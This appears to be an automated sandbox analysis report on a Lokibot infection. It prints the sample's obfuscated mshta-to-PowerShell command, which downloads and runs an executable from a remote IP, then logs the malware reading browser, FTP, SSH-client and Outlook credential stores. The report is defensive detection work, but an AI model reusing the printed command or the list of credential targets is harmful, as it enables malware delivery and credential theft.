agicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicakbnp1y0zvqxc6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumtm2lzu1l2nhc3bvbc5leguilcikzu52okfquerbvefcy2fzcg9slmv4zsismcwwkttzvgfyvc1tbgvlucgzkttpzxggicagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxgnhc3bvbc5legui'+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jg56dwngvuf3icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10wvbficagicagicagicagicagicagicagicagicagicagicaglu1lbwjlukrfrkloavrpt04gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbu9oiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagwlbudfzzumhbacxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbnewpwculruxdeyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicb1alfrcfnyb0lxesx1aw50icagicagicagicagicagicagicagicagicagicagicagtsxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbhwxlwdmx5a3blktsnicagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicaizfhhtsigicagicagicagicagicagicagicagicagicagicagicatbmfnrvnwyunlicagicagicagicagicagicagicagicagicagicagicagv1bmvyagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicakbnp1y0zvqxc6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumtm2lzu1l2nhc3bvbc5leguilcikzu52okfquerbvefcy2fzcg9slmv4zsismcwwkttzvgfyvc1tbgvlucgzkttpzxggicagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxgnhc3bvbc5legui'+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jg56dwngvuf3icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10wvbficagicagicagicagicagicagicagicagicagicagicaglu1lbwjlukrfrkloavrpt04gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbu9oiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagwlbudfzzumhbacxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbnewpwculruxdeyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicb1alfrcfnyb0lxesx1aw50icagicagicagicagicagicagicagicagicagicagicagtsxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbhwxlwdmx5a3blktsnicagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicaizfhhtsigicagicagicagicagicagicagicagicagicagicagicatbmfnrvnwyunlicagicagicagicagicagicagicagicagicagicagicagv1bmvyagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicakbnp1y0zvqxc6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumtm2lzu1l2nhc3bvbc5leguilcikzu52okfquerbvefcy2fzcg9slmv4zsismcwwkttzvgfyvc1tbgvlucgzkttpzxggicagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxgnhc3bvbc5legui'+[char]0x22+'))')))"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\Users\user\AppData\Roaming\caspol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Queries volume information: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\caspol.exe	Queries volume information: C:\Users\user\AppData\Roaming\caspol.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: caspol.exe PID: 3888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrwscqkDSNwLK.exe PID: 1644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrwscqkDSNwLK.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: caspol.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000012.00000002.637368812.0000000000874000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: caspol.exe PID: 2596, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\user\AppData\Roaming\caspol.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Roaming\caspol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
